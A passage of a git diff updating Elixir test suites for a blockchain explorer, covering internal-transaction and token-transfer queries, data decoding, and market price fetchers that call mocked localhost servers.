+ found_internal_transactions = Etherscan.list_internal_transactions(address.hash) - # excluding of internal transactions with type=call and index=0 assert length(found_internal_transactions) == 2 + end - for internal_transaction <- found_internal_transactions do - assert internal_transaction.block_number in expected_block_numbers + test "with zero value internal transactions when `include_zero_value: true` option is set" do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + for index <- 0..3 do + internal_transaction_details = %{ + transaction: transaction, + index: index, + value: 0, + from_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + } + + insert(:internal_transaction, internal_transaction_details) end + + for index <- 4..5 do + internal_transaction_details = %{ + transaction: transaction, + index: index, + value: index, + from_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + } + + insert(:internal_transaction, internal_transaction_details) + end + + options = %{include_zero_value: true} + + found_internal_transactions = Etherscan.list_internal_transactions(address.hash, options) + + assert length(found_internal_transactions) == 5 end # Note that `list_internal_transactions/2` relies on @@ -1001,11 +1171,101 @@ defmodule Explorer.EtherscanTest do # These two requirements are tested in `Explorer.ChainTest`. end + describe "list_internal_transactions/2 without param" do + test "only non zero value internal transactions by default" do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + for index <- 0..3 do + internal_transaction_details = %{ + transaction: transaction, + index: index, + value: 0, + from_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + } + + insert(:internal_transaction, internal_transaction_details) + end + + for index <- 4..5 do + internal_transaction_details = %{ + transaction: transaction, + index: index, + value: index, + from_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + } + + insert(:internal_transaction, internal_transaction_details) + end + + found_internal_transactions = Etherscan.list_internal_transactions(:all) + + assert length(found_internal_transactions) == 2 + end + + test "with zero value internal transactions when `include_zero_value: true` option is set" do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + for index <- 0..3 do + internal_transaction_details = %{ + transaction: transaction, + index: index, + value: 0, + from_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + } + + insert(:internal_transaction, internal_transaction_details) + end + + for index <- 4..5 do + internal_transaction_details = %{ + transaction: transaction, + index: index, + value: index, + from_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + } + + insert(:internal_transaction, internal_transaction_details) + end + + options = %{include_zero_value: true} + + found_internal_transactions = Etherscan.list_internal_transactions(:all, options) + + assert length(found_internal_transactions) == 5 + end + end + describe "list_token_transfers/2" do test "with empty db" do address = build(:address) - assert Etherscan.list_token_transfers(address.hash, nil) == [] + assert Etherscan.list_token_transfers(:erc20, address.hash, nil, %{}) == [] end test "with from address" do @@ -1021,7 +1281,7 @@ defmodule Explorer.EtherscanTest do block_number: transaction.block_number ) - [found_token_transfer] = Etherscan.list_token_transfers(token_transfer.from_address_hash, nil) + [found_token_transfer] = Etherscan.list_token_transfers(:erc20, token_transfer.from_address_hash, nil, %{}) assert token_transfer.from_address_hash == found_token_transfer.from_address_hash end @@ -1039,7 +1299,7 @@ defmodule Explorer.EtherscanTest do block_number: transaction.block_number ) - [found_token_transfer] = Etherscan.list_token_transfers(token_transfer.to_address_hash, nil) + [found_token_transfer] = Etherscan.list_token_transfers(:erc20, token_transfer.to_address_hash, nil, %{}) assert token_transfer.to_address_hash == found_token_transfer.to_address_hash end @@ -1047,7 +1307,7 @@ defmodule Explorer.EtherscanTest do test "with address with 0 token transfers" do address = insert(:address) - assert Etherscan.list_token_transfers(address.hash, nil) == [] + assert Etherscan.list_token_transfers(:erc20, address.hash, nil, %{}) == [] end test "with address with multiple token transfers" do @@ -1080,7 +1340,7 @@ defmodule Explorer.EtherscanTest do block_number: transaction.block_number ) - found_token_transfers = Etherscan.list_token_transfers(address1.hash, nil) + found_token_transfers = Etherscan.list_token_transfers(:erc20, address1.hash, nil, %{}) assert length(found_token_transfers) == 2 @@ -1089,71 +1349,6 @@ defmodule Explorer.EtherscanTest do end end - test "confirmations value is calculated correctly" do - insert(:block) - - transaction = - :transaction - |> insert() - |> with_block() - - token_transfer = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number - ) - - insert(:block) - - [found_token_transfer] = Etherscan.list_token_transfers(token_transfer.from_address_hash, nil) - - block_height = Chain.block_height() - expected_confirmations = block_height - transaction.block_number - - assert found_token_transfer.confirmations == expected_confirmations - end - - test "returns all required fields" do - transaction = - %{block: block} = - :transaction - |> insert() - |> with_block() - - token_transfer = - insert(:token_transfer, - transaction: transaction, - block: transaction.block, - block_number: transaction.block_number - ) - - {:ok, token} = Chain.token_from_address_hash(token_transfer.token_contract_address_hash) - - [found_token_transfer] = Etherscan.list_token_transfers(token_transfer.from_address_hash, nil) - - assert found_token_transfer.block_number == transaction.block_number - assert found_token_transfer.block_timestamp == block.timestamp - assert found_token_transfer.transaction_hash == token_transfer.transaction_hash - assert found_token_transfer.transaction_nonce == transaction.nonce - assert found_token_transfer.block_hash == block.hash - assert found_token_transfer.from_address_hash == token_transfer.from_address_hash - assert found_token_transfer.token_contract_address_hash == token_transfer.token_contract_address_hash - assert found_token_transfer.to_address_hash == token_transfer.to_address_hash - assert found_token_transfer.amount == token_transfer.amount - assert found_token_transfer.token_name == token.name - assert found_token_transfer.token_symbol == token.symbol - assert found_token_transfer.token_decimals == token.decimals - assert found_token_transfer.transaction_index == transaction.index - assert found_token_transfer.transaction_gas == transaction.gas - assert found_token_transfer.transaction_gas_price == transaction.gas_price - assert found_token_transfer.transaction_gas_used == transaction.gas_used - assert found_token_transfer.transaction_cumulative_gas_used == transaction.cumulative_gas_used - assert found_token_transfer.transaction_input == transaction.input - # There is a separate test to ensure confirmations are calculated correctly. - assert found_token_transfer.confirmations - end - test "orders token transfers by block, in ascending order (default)" do address = insert(:address) @@ -1196,7 +1391,7 @@ defmodule Explorer.EtherscanTest do block_number: transaction3.block_number ) - found_token_transfers = Etherscan.list_token_transfers(address.hash, nil) + found_token_transfers = Etherscan.list_token_transfers(:erc20, address.hash, nil, %{}) block_numbers_order = Enum.map(found_token_transfers, & &1.block_number) @@ -1248,7 +1443,7 @@ defmodule Explorer.EtherscanTest do options = %{order_by_direction: :desc} - found_token_transfers = Etherscan.list_token_transfers(address.hash, nil, options) + found_token_transfers = Etherscan.list_token_transfers(:erc20, address.hash, nil, options) block_numbers_order = Enum.map(found_token_transfers, & &1.block_number) @@ -1304,7 +1499,7 @@ defmodule Explorer.EtherscanTest do options1 = %{page_number: 1, page_size: 2} - page1_token_transfers = Etherscan.list_token_transfers(address.hash, nil, options1) + page1_token_transfers = Etherscan.list_token_transfers(:erc20, address.hash, nil, options1) page1_hashes = Enum.map(page1_token_transfers, & &1.transaction_hash) @@ -1316,7 +1511,7 @@ defmodule Explorer.EtherscanTest do options2 = %{page_number: 2, page_size: 2} - page2_token_transfers = Etherscan.list_token_transfers(address.hash, nil, options2) + page2_token_transfers = Etherscan.list_token_transfers(:erc20, address.hash, nil, options2) page2_hashes = Enum.map(page2_token_transfers, & &1.transaction_hash) @@ -1328,7 +1523,7 @@ defmodule Explorer.EtherscanTest do options3 = %{page_number: 3, page_size: 2} - page3_token_transfers = Etherscan.list_token_transfers(address.hash, nil, options3) + page3_token_transfers = Etherscan.list_token_transfers(:erc20, address.hash, nil, options3) page3_hashes = Enum.map(page3_token_transfers, & &1.transaction_hash) @@ -1340,7 +1535,7 @@ defmodule Explorer.EtherscanTest do options4 = %{page_number: 4, page_size: 2} - assert Etherscan.list_token_transfers(address.hash, nil, options4) == [] + assert Etherscan.list_token_transfers(:erc20, address.hash, nil, options4) == [] end test "with start and end block options" do @@ -1362,11 +1557,11 @@ defmodule Explorer.EtherscanTest do end options = %{ - start_block: second_block.number, - end_block: third_block.number + startblock: second_block.number, + endblock: third_block.number } - found_token_transfers = Etherscan.list_token_transfers(address.hash, nil, options) + found_token_transfers = Etherscan.list_token_transfers(:erc20, address.hash, nil, options) expected_block_numbers = [second_block.number, third_block.number] @@ -1377,7 +1572,7 @@ defmodule Explorer.EtherscanTest do end end - test "with start_block but no end_block option" do + test "with startblock but no endblock option" do blocks = [_, _, third_block, fourth_block] = insert_list(4, :block) address = insert(:address) @@ -1395,9 +1590,9 @@ defmodule Explorer.EtherscanTest do ) end - options = %{start_block: third_block.number} + options = %{startblock: third_block.number} - found_token_transfers = Etherscan.list_token_transfers(address.hash, nil, options) + found_token_transfers = Etherscan.list_token_transfers(:erc20, address.hash, nil, options) expected_block_numbers = [third_block.number, fourth_block.number] @@ -1408,7 +1603,7 @@ defmodule Explorer.EtherscanTest do end end - test "with end_block but no start_block option" do + test "with endblock but no startblock option" do blocks = [first_block, second_block, _, _] = insert_list(4, :block) address = insert(:address) @@ -1426,9 +1621,9 @@ defmodule Explorer.EtherscanTest do ) end - options = %{end_block: second_block.number} + options = %{endblock: second_block.number} - found_token_transfers = Etherscan.list_token_transfers(address.hash, nil, options) + found_token_transfers = Etherscan.list_token_transfers(:erc20, address.hash, nil, options) expected_block_numbers = [first_block.number, second_block.number] @@ -1461,7 +1656,7 @@ defmodule Explorer.EtherscanTest do block_number: transaction.block_number ) - [found_token_transfer] = Etherscan.list_token_transfers(address.hash, contract_address.hash) + [found_token_transfer] = Etherscan.list_token_transfers(:erc20, address.hash, contract_address.hash, %{}) assert found_token_transfer.token_contract_address_hash == contract_address.hash end diff --git a/apps/explorer/test/explorer/exchange_rates/exchange_rates_test.exs b/apps/explorer/test/explorer/exchange_rates/exchange_rates_test.exs deleted file mode 100644 index 3558c6d2a577..000000000000 --- a/apps/explorer/test/explorer/exchange_rates/exchange_rates_test.exs +++ /dev/null @@ -1,150 +0,0 @@ -defmodule Explorer.ExchangeRatesTest do - use ExUnit.Case, async: false - - import Mox - - alias Plug.Conn - alias Explorer.ExchangeRates - alias Explorer.ExchangeRates.Token - alias Explorer.ExchangeRates.Source.TestSource - - @moduletag :capture_log - - setup :verify_on_exit! - - setup do - # Use TestSource mock and ets table for this test set - source_configuration = Application.get_env(:explorer, Explorer.ExchangeRates.Source) - rates_configuration = Application.get_env(:explorer, Explorer.ExchangeRates) - - Application.put_env(:explorer, Explorer.ExchangeRates.Source, source: TestSource) - Application.put_env(:explorer, Explorer.ExchangeRates, table_name: :rates) - Application.put_env(:explorer, Explorer.ExchangeRates, enabled: true) - - on_exit(fn -> - Application.put_env(:explorer, Explorer.ExchangeRates.Source, source_configuration) - Application.put_env(:explorer, Explorer.ExchangeRates, rates_configuration) - end) - end - - test "init" do - assert :ets.info(ExchangeRates.table_name()) == :undefined - - assert {:ok, %{}} == ExchangeRates.init([]) - assert_received :update - table = :ets.info(ExchangeRates.table_name()) - refute table == :undefined - assert table[:name] == ExchangeRates.table_name() - assert table[:named_table] - assert table[:read_concurrency] - assert table[:type] == :set - assert table[:write_concurrency] - end - - test "handle_info with :update" do - bypass = Bypass.open() - - Bypass.expect(bypass, "GET", "/", fn conn -> - Conn.resp(conn, 200, "{}") - end) - - stub(TestSource, :source_url, fn -> "http://localhost:#{bypass.port}" end) - - ExchangeRates.init([]) - state = %{} - - expect(TestSource, :format_data, fn _ -> [Token.null()] end) - expect(TestSource, :headers, fn -> [] end) - set_mox_global() - - assert {:noreply, ^state} = ExchangeRates.handle_info(:update, state) - assert_receive {_, {:ok, [%Token{}]}} - end - - describe "ticker fetch task" do - setup do - ExchangeRates.init([]) - :ok - end - - test "with successful fetch" do - expected_token = %Token{ - available_supply: Decimal.new("1000000.0"), - total_supply: Decimal.new("1000000.0"), - btc_value: Decimal.new("1.000"), - id: "test_id", - last_updated: DateTime.utc_now(), - market_cap_usd: Decimal.new("1000000.0"), - name: "test_name", - symbol: "test_symbol", - usd_value: Decimal.new("1.0"), - volume_24h_usd: Decimal.new("1000.0") - } - - expected_symbol = expected_token.symbol - expected_tuple = Token.to_tuple(expected_token) - - state = %{} - - assert {:noreply, ^state} = ExchangeRates.handle_info({nil, {:ok, [expected_token]}}, state) - - assert [^expected_tuple] = :ets.lookup(ExchangeRates.table_name(), expected_symbol) - end - - test "with failed fetch" do - bypass = Bypass.open() - - Bypass.expect(bypass, "GET", "/", fn conn -> - Conn.resp(conn, 200, "{}") - end) - - stub(TestSource, :source_url, fn -> "http://localhost:#{bypass.port}" end) - - state = %{} - - expect(TestSource, :format_data, fn _ -> [Token.null()] end) - expect(TestSource, :headers, fn -> [] end) - set_mox_global() - - assert {:noreply, ^state} = ExchangeRates.handle_info({nil, {:error, "some error"}}, state) - - assert_receive :update - - assert {:noreply, ^state} = ExchangeRates.handle_info(:update, state) - assert_receive {_, {:ok, [%Token{}]}} - end - end - - test "list/0" do - ExchangeRates.init([]) - - rates = [ - %Token{Token.null() | symbol: "z"}, - %Token{Token.null() | symbol: "a"} - ] - - expected_rates = Enum.reverse(rates) - for rate <- rates, do: :ets.insert(ExchangeRates.table_name(), Token.to_tuple(rate)) - - assert expected_rates == ExchangeRates.list() - end - - test "lookup/1" do - ExchangeRates.init([]) - - z = %Token{Token.null() | symbol: "z"} - - rates = [z, %Token{Token.null() | symbol: "a"}] - - for rate <- rates, do: :ets.insert(ExchangeRates.table_name(), Token.to_tuple(rate)) - - assert z == ExchangeRates.lookup("z") - assert nil == ExchangeRates.lookup("nope") - end - - test "lookup when disabled" do - Application.put_env(:explorer, Explorer.ExchangeRates, enabled: false) - - assert nil == ExchangeRates.lookup("z") - end -end diff --git a/apps/explorer/test/explorer/exchange_rates/source/coin_gecko_test.exs b/apps/explorer/test/explorer/exchange_rates/source/coin_gecko_test.exs deleted file mode 100644 index 652a727414c3..000000000000 --- a/apps/explorer/test/explorer/exchange_rates/source/coin_gecko_test.exs +++ /dev/null @@ -1,186 +0,0 @@ -defmodule Explorer.ExchangeRates.Source.CoinGeckoTest do - use ExUnit.Case - - alias Explorer.ExchangeRates.Token - alias Explorer.ExchangeRates.Source.CoinGecko - alias Plug.Conn - - @json_btc_price """ - { - "rates": { - "usd": { - "name": "US Dollar", - "unit": "$", - "value": 6547.418, - "type": "fiat" - } - } - } - """ - - @coins_list """ - [ - { - "id": "poa-network", - "symbol": "poa", - "name": "POA Network" - }, - { - "id": "poc-chain", - "symbol": "pocc", - "name": "POC Chain" - }, - { - "id": "pocket-arena", - "symbol": "poc", - "name": "Pocket Arena" - }, - { - "id": "ethereum", - "symbol": "eth", - "name": "Ethereum" - }, - { - "id": "rootstock", - "symbol": "rbtc", - "name": "Rootstock RSK" - }, - { - "id": "dai", - "symbol": "dai", - "name": "Dai" - }, - { - "id": "callisto", - "symbol": "clo", - "name": "Callisto Network" - } - ] - """ - - describe "format_data/1" do - setup do - bypass = Bypass.open() - Application.put_env(:explorer, CoinGecko, base_url: "http://localhost:#{bypass.port}") - - {:ok, bypass: bypass} - end - - test "returns valid tokens with valid data", %{bypass: bypass} do - Bypass.expect(bypass, "GET", "/exchange_rates", fn conn -> - Conn.resp(conn, 200, @json_btc_price) - end) - - json_data = - "#{File.cwd!()}/test/support/fixture/exchange_rates/coin_gecko.json" - |> File.read!() - |> Jason.decode!() - - expected = [ - %Token{ - available_supply: Decimal.new("220167621.0"), - total_supply: Decimal.new("252193195.0"), - btc_value: Decimal.new("0.000002055310963802830367634997491"), - id: "poa-network", - last_updated: ~U[2019-08-21 08:36:49.371Z], - market_cap_usd: Decimal.new("2962791"), - name: "POA Network", - symbol: "POA", - usd_value: Decimal.new("0.01345698"), - volume_24h_usd: Decimal.new("119946") - } - ] - - assert expected == CoinGecko.format_data(json_data) - end - - test "returns nothing when given bad data" do - bad_data = """ - [{"id": "poa-network"}] - """ - - assert [] = CoinGecko.format_data(bad_data) - end - end - - describe "coin_id/0" do - setup do - bypass = Bypass.open() - Application.put_env(:explorer, CoinGecko, base_url: "http://localhost:#{bypass.port}") - - on_exit(fn -> - Application.put_env(:explorer, :coin, "POA") - end) - - {:ok, bypass: bypass} - end - - test "fetches poa coin id by default", %{bypass: bypass} do - Bypass.expect(bypass, "GET", "/coins/list", fn conn -> - Conn.resp(conn, 200, @coins_list) - end) - - assert CoinGecko.coin_id() == {:ok, "poa-network"} - end - - test "fetches eth coin id", %{bypass: bypass} do - Application.put_env(:explorer, :coin, "ETH") - - Bypass.expect(bypass, "GET", "/coins/list", fn conn -> - Conn.resp(conn, 200, @coins_list) - end) - - assert CoinGecko.coin_id() == {:ok, "ethereum"} - end - - test "fetches rbtc coin id", %{bypass: bypass} do - Application.put_env(:explorer, :coin, "RBTC") - - Bypass.expect(bypass, "GET", "/coins/list", fn conn -> - Conn.resp(conn, 200, @coins_list) - end) - - assert CoinGecko.coin_id() == {:ok, "rootstock"} - end - - test "fetches dai coin id", %{bypass: bypass} do - Application.put_env(:explorer, :coin, "DAI") - - Bypass.expect(bypass, "GET", "/coins/list", fn conn -> - Conn.resp(conn, 200, @coins_list) - end) - - assert CoinGecko.coin_id() == {:ok, "dai"} - end - - test "fetches callisto coin id", %{bypass: bypass} do - Application.put_env(:explorer, :coin, "CLO") - - Bypass.expect(bypass, "GET", "/coins/list", fn conn -> - Conn.resp(conn, 200, @coins_list) - end) - - assert CoinGecko.coin_id() == {:ok, "callisto"} - end - - test "returns redirect on fetching", %{bypass: bypass} do - Application.put_env(:explorer, :coin, "DAI") - - Bypass.expect(bypass, "GET", "/coins/list", fn conn -> - Conn.resp(conn, 302, "Request redirected...") - end) - - assert CoinGecko.coin_id() == {:error, "Source redirected"} - end - - test "returns error on fetching", %{bypass: bypass} do - Application.put_env(:explorer, :coin, "DAI") - - Bypass.expect(bypass, "GET", "/coins/list", fn conn -> - Conn.resp(conn, 503, "Internal server error...") - end) - - assert CoinGecko.coin_id() == {:error, "Internal server error..."} - end - end -end diff --git a/apps/explorer/test/explorer/graphql_test.exs b/apps/explorer/test/explorer/graphql_test.exs index 72408bbb07f0..4e6915e2f7e4 100644 --- a/apps/explorer/test/explorer/graphql_test.exs +++ b/apps/explorer/test/explorer/graphql_test.exs @@ -121,7 +121,7 @@ defmodule Explorer.GraphQLTest do end end - describe "transcation_to_internal_transactions_query/1" do + describe "transaction_to_internal_transactions_query/1" do test "with transaction with one internal transaction" do transaction1 = insert(:transaction) |> with_block() transaction2 = insert(:transaction) |> with_block() diff --git a/apps/explorer/test/explorer/helper_test.exs b/apps/explorer/test/explorer/helper_test.exs new file mode 100644 index 000000000000..9791a52d6e9d --- /dev/null +++ b/apps/explorer/test/explorer/helper_test.exs @@ -0,0 +1,26 @@ +defmodule Explorer.HelperTest do + use ExUnit.Case + alias Explorer.Helper + alias Explorer.Chain.Data + + describe "decode_data/2" do + test "decodes 0x starting bytes" do + data = "0x3078f11400000000000000000000000000000000000000000000000000000000" + types = [{:uint, 32}] + + assert [21_924_702_239_838_702_630_355_123_058_721_243_447_914_074_382_437_861_546_344_133_536_048_966_795_264] == + Helper.decode_data(data, types) + end + + test "decodes 0x starting bytes with %Data{} struct" do + data = %Data{ + bytes: <<48, 120, 241, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0>> + } + + types = [{:uint, 32}] + + assert [21_924_702_239_838_702_630_355_123_058_721_243_447_914_074_382_437_861_546_344_133_536_048_966_795_264] == + Helper.decode_data(data, types) + end + end +end diff --git a/apps/explorer/test/explorer/history/process_test.exs b/apps/explorer/test/explorer/history/process_test.exs index fc58f2d3a5d8..f2fbf7983e1b 100644 --- a/apps/explorer/test/explorer/history/process_test.exs +++ b/apps/explorer/test/explorer/history/process_test.exs @@ -8,19 +8,19 @@ defmodule Explorer.History.ProcessTest do setup do Application.put_env(:explorer, TestHistorian, - init_lag: 0, + init_lag_milliseconds: 0, days_to_compile_at_init: nil ) end describe "init/1" do - test "sends compile_historical_records with no init_lag" do + test "sends compile_historical_records with no init_lag_milliseconds" do assert {:ok, %{:historian => TestHistorian}} = HistoryProcess.init([:ok, TestHistorian]) assert_receive {:compile_historical_records, 365} end - test "sends compile_historical_records after some init_lag" do - Application.put_env(:explorer, TestHistorian, init_lag: 200) + test "sends compile_historical_records after some init_lag_milliseconds" do + Application.put_env(:explorer, TestHistorian, init_lag_milliseconds: 200) assert {:ok, %{:historian => TestHistorian}} = HistoryProcess.init([:ok, TestHistorian]) refute_receive {:compile_historical_records, 365}, 150 assert_receive {:compile_historical_records, 365} @@ -58,15 +58,18 @@ defmodule Explorer.History.ProcessTest do state = %{historian: TestHistorian} # interval should be short enough that it doesn't slow down testing... - # ...but long enough to detect. 16ms should be detectable on the slowest dev machines - history_fetch_interval = 16 + # ...but long enough to detect. 100ms should be detectable on the slowest dev machines + history_fetch_interval = 100 - Application.put_env(:explorer, HistoryProcess, history_fetch_interval: history_fetch_interval) + now = DateTime.to_time(DateTime.utc_now()) + time_to_fetch_at = now |> Time.add(history_fetch_interval, :millisecond) + days_to_add = if Time.compare(time_to_fetch_at, now) == :gt, do: 0, else: 1 + Application.put_env(:explorer, HistoryProcess, time_to_fetch_at: time_to_fetch_at, days_to_add: days_to_add) assert {:noreply, state} == HistoryProcess.handle_info({nil, {1, 0, {:ok, [record]}}}, state) # Message isn't sent before interval is up - refute_receive {:compile_historical_records, 2}, history_fetch_interval - 1 + refute_receive {:compile_historical_records, 2}, history_fetch_interval - 50 # Now message is sent assert_receive {:compile_historical_records, 2} diff --git a/apps/explorer/test/explorer/known_tokens/known_tokens_test.exs b/apps/explorer/test/explorer/known_tokens/known_tokens_test.exs deleted file mode 100644 index 6692b964c2e1..000000000000 --- a/apps/explorer/test/explorer/known_tokens/known_tokens_test.exs +++ /dev/null @@ -1,140 +0,0 @@ -defmodule Explorer.KnownTokensTest do - use ExUnit.Case, async: false - - import Mox - - alias Plug.Conn - alias Explorer.Chain.Hash - alias Explorer.KnownTokens - alias Explorer.KnownTokens.Source.TestSource - - @moduletag :capture_log - - setup :verify_on_exit! - - setup do - set_mox_global() - - # Use TestSource mock and ets table for this test set - source_configuration = Application.get_env(:explorer, Explorer.KnownTokens.Source) - known_tokens_configuration = Application.get_env(:explorer, Explorer.KnownTokens) - - Application.put_env(:explorer, Explorer.KnownTokens.Source, source: TestSource) - Application.put_env(:explorer, Explorer.KnownTokens, table_name: :known_tokens) - Application.put_env(:explorer, Explorer.KnownTokens, enabled: true) - - on_exit(fn -> - Application.put_env(:explorer, Explorer.KnownTokens.Source, source_configuration) - Application.put_env(:explorer, Explorer.KnownTokens, known_tokens_configuration) - end) - end - - test "init" do - assert :ets.info(KnownTokens.table_name()) == :undefined - - assert {:ok, %{}} == KnownTokens.init([]) - assert_received :update - table = :ets.info(KnownTokens.table_name()) - refute table == :undefined - assert table[:name] == KnownTokens.table_name() - assert table[:named_table] - assert table[:read_concurrency] - assert table[:type] == :set - refute table[:write_concurrency] - end - - test "handle_info with :update" do - bypass = Bypass.open() - - Bypass.expect(bypass, "GET", "/", fn conn -> - Conn.resp(conn, 200, ~s([{"symbol": "TEST1","address": "0x0000000000000000000000000000000000000001"}])) - end) - - stub(TestSource, :source_url, fn -> "http://localhost:#{bypass.port}" end) - stub(TestSource, :headers, fn -> [] end) - - KnownTokens.init([]) - state = %{} - - assert {:noreply, ^state} = KnownTokens.handle_info(:update, state) - assert_receive {_, {:ok, [%{"symbol" => "TEST1", "address" => "0x0000000000000000000000000000000000000001"}]}} - end - - describe "ticker fetch task" do - setup do - KnownTokens.init([]) - :ok - end - - test "with successful fetch" do - symbol = "TEST2" - address = "0x0000000000000000000000000000000000000002" - - token = %{ - "symbol" => symbol, - "address" => address - } - - state = %{} - - assert {:noreply, ^state} = KnownTokens.handle_info({nil, {:ok, [token]}}, state) - - assert [{"TEST2", "0x0000000000000000000000000000000000000002"}] == :ets.lookup(KnownTokens.table_name(), symbol) - end - - test "with failed fetch" do - bypass = Bypass.open() - - Bypass.expect(bypass, "GET", "/", fn conn -> - Conn.resp(conn, 200, "{}") - end) - - stub(TestSource, :source_url, fn -> "http://localhost:#{bypass.port}" end) - stub(TestSource, :headers, fn -> [] end) - - state = %{} - - assert {:noreply, ^state} = KnownTokens.handle_info({nil, {:error, "some error"}}, state) - - assert_receive {_, {:ok, _}} - end - end - - test "list/0" do - KnownTokens.init([]) - - known_tokens = [ - {"TEST1", "0x0000000000000000000000000000000000000001"}, - {"TEST2", "0x0000000000000000000000000000000000000002"} - ] - - :ets.insert(KnownTokens.table_name(), known_tokens) - - expected_tokens = - known_tokens - |> Enum.map(&elem(&1, 1)) - |> Enum.map(&Hash.Address.cast/1) - - assert expected_tokens == KnownTokens.list() - end - - test "lookup/1" do - KnownTokens.init([]) - - known_tokens = [ - {"TEST1", "0x0000000000000000000000000000000000000001"}, - {"TEST2", "0x0000000000000000000000000000000000000002"} - ] - - :ets.insert(KnownTokens.table_name(), known_tokens) - - assert Hash.Address.cast("0x0000000000000000000000000000000000000001") == KnownTokens.lookup("TEST1") - assert nil == KnownTokens.lookup("nope") - end - - test "lookup when disabled" do - Application.put_env(:explorer, Explorer.KnownTokens, enabled: false) - - assert nil == KnownTokens.lookup("z") - end -end diff --git a/apps/explorer/test/explorer/market/fetcher/coin_test.exs b/apps/explorer/test/explorer/market/fetcher/coin_test.exs new file mode 100644 index 000000000000..134eaeca17cb --- /dev/null +++ b/apps/explorer/test/explorer/market/fetcher/coin_test.exs @@ -0,0 +1,101 @@ +defmodule Explorer.Market.Fetcher.CoinTest do + use Explorer.DataCase + + import Mox + + alias Explorer.Market.MarketHistoryCache + alias Explorer.Market.Token + alias Explorer.Market.Fetcher.Coin + alias Explorer.Market.Source.TestSource + alias Plug.Conn + + @moduletag :capture_log + + setup :verify_on_exit! + + setup do + Supervisor.terminate_child(Explorer.Supervisor, {ConCache, MarketHistoryCache.cache_name()}) + Supervisor.restart_child(Explorer.Supervisor, {ConCache, MarketHistoryCache.cache_name()}) + + source_configuration = Application.get_env(:explorer, Explorer.Market.Source) + fetcher_configuration = Application.get_env(:explorer, Coin) + + Application.put_env(:explorer, Explorer.Market.Source, + native_coin_source: TestSource, + secondary_coin_source: TestSource + ) + + Application.put_env(:explorer, Coin, Keyword.merge(fetcher_configuration, table_name: :rates, enabled: true)) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Market.Source, source_configuration) + Application.put_env(:explorer, Coin, fetcher_configuration) + Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) + end) + end + + test "init" do + assert :ets.info(Coin.table_name()) == :undefined + + assert {:ok, %Coin{native_coin_source: TestSource, secondary_coin_source: TestSource}} == Coin.init([]) + assert_received {:update, false} + assert_received {:update, true} + table = :ets.info(Coin.table_name()) + refute table == :undefined + assert table[:name] == Coin.table_name() + assert table[:named_table] + assert table[:read_concurrency] + assert table[:type] == :set + assert table[:write_concurrency] + end + + test "handle_info with :update" do + {:ok, state} = Coin.init([]) + + expect(TestSource, :fetch_native_coin, fn -> {:ok, Token.null()} end) + set_mox_global() + + assert {:noreply, ^state} = Coin.handle_info({:update, false}, state) + assert_receive {_, {{:ok, %Token{}}, false}} + end + + describe "ticker fetch task" do + setup do + {:ok, state} = Coin.init([]) + {:ok, state: state} + end + + test "with successful fetch", %{state: state} do + expected_token = %Token{ + available_supply: Decimal.new("1000000.0"), + total_supply: Decimal.new("1000000.0"), + btc_value: Decimal.new("1.000"), + last_updated: DateTime.utc_now(), + market_cap: Decimal.new("1000000.0"), + tvl: Decimal.new("2000000.0"), + name: "test_name", + symbol: "test_symbol", + fiat_value: Decimal.new("1.0"), + volume_24h: Decimal.new("1000.0"), + image_url: nil + } + + assert {:noreply, ^state} = Coin.handle_info({nil, {{:ok, expected_token}, false}}, state) + + assert [false: ^expected_token] = :ets.lookup(Coin.table_name(), false) + end + + test "with failed fetch", %{state: state} do + expect(TestSource, :fetch_native_coin, fn -> {:ok, Token.null()} end) + set_mox_global() + + assert {:noreply, ^state} = Coin.handle_info({nil, {{:error, "some error"}, false}}, state) + + assert_received {:update, false} + + assert {:noreply, ^state} = Coin.handle_info({:update, false}, state) + assert_receive {_, {{:ok, %Token{}}, false}} + end + end +end diff --git a/apps/explorer/test/explorer/market/fetcher/history_test.exs b/apps/explorer/test/explorer/market/fetcher/history_test.exs new file mode 100644 index 000000000000..db62601f6c3a --- /dev/null +++ b/apps/explorer/test/explorer/market/fetcher/history_test.exs @@ -0,0 +1,264 @@ +defmodule Explorer.Market.Fetcher.HistoryTest do + use Explorer.DataCase, async: false + + import Mox + import Ecto.Query, only: [limit: 2, order_by: 2] + + alias Explorer.Market.{MarketHistory, Source} + alias Explorer.Market.Fetcher.History + alias Explorer.Market.Source.TestSource + alias Explorer.Market.Source.CryptoCompare + alias Explorer.Repo + alias Plug.Conn + + setup do + source_configuration = Application.get_env(:explorer, Source) + history_configuration = Application.get_env(:explorer, History) + + Application.put_env(:explorer, Source, native_coin_history_source: TestSource) + + Application.put_env( + :explorer, + History, + Keyword.merge(history_configuration, enabled: true, history_fetch_interval: 0) + ) + + on_exit(fn -> + Application.put_env(:explorer, Source, source_configuration) + Application.put_env(:explorer, History, history_configuration) + end) + + :ok + end + + test "init" do + assert {:ok, %{types_states: states}} = History.init(:ok) + assert_received {:fetch_all, 365} + + assert Map.has_key?(states, :native_coin_price_history) + assert Map.has_key?(states, :secondary_coin_price_history) + assert Map.has_key?(states, :market_cap_history) + assert Map.has_key?(states, :tvl_history) + + assert %{ + source: TestSource, + max_failed_attempts: 10, + failed_attempts: 0, + finished?: false, + records: [] + } = states.native_coin_price_history + end + + test "handle_info with native_coin_price_history" do + source_configuration = Application.get_env(:explorer, Source) + crypto_compare_configuration = Application.get_env(:explorer, 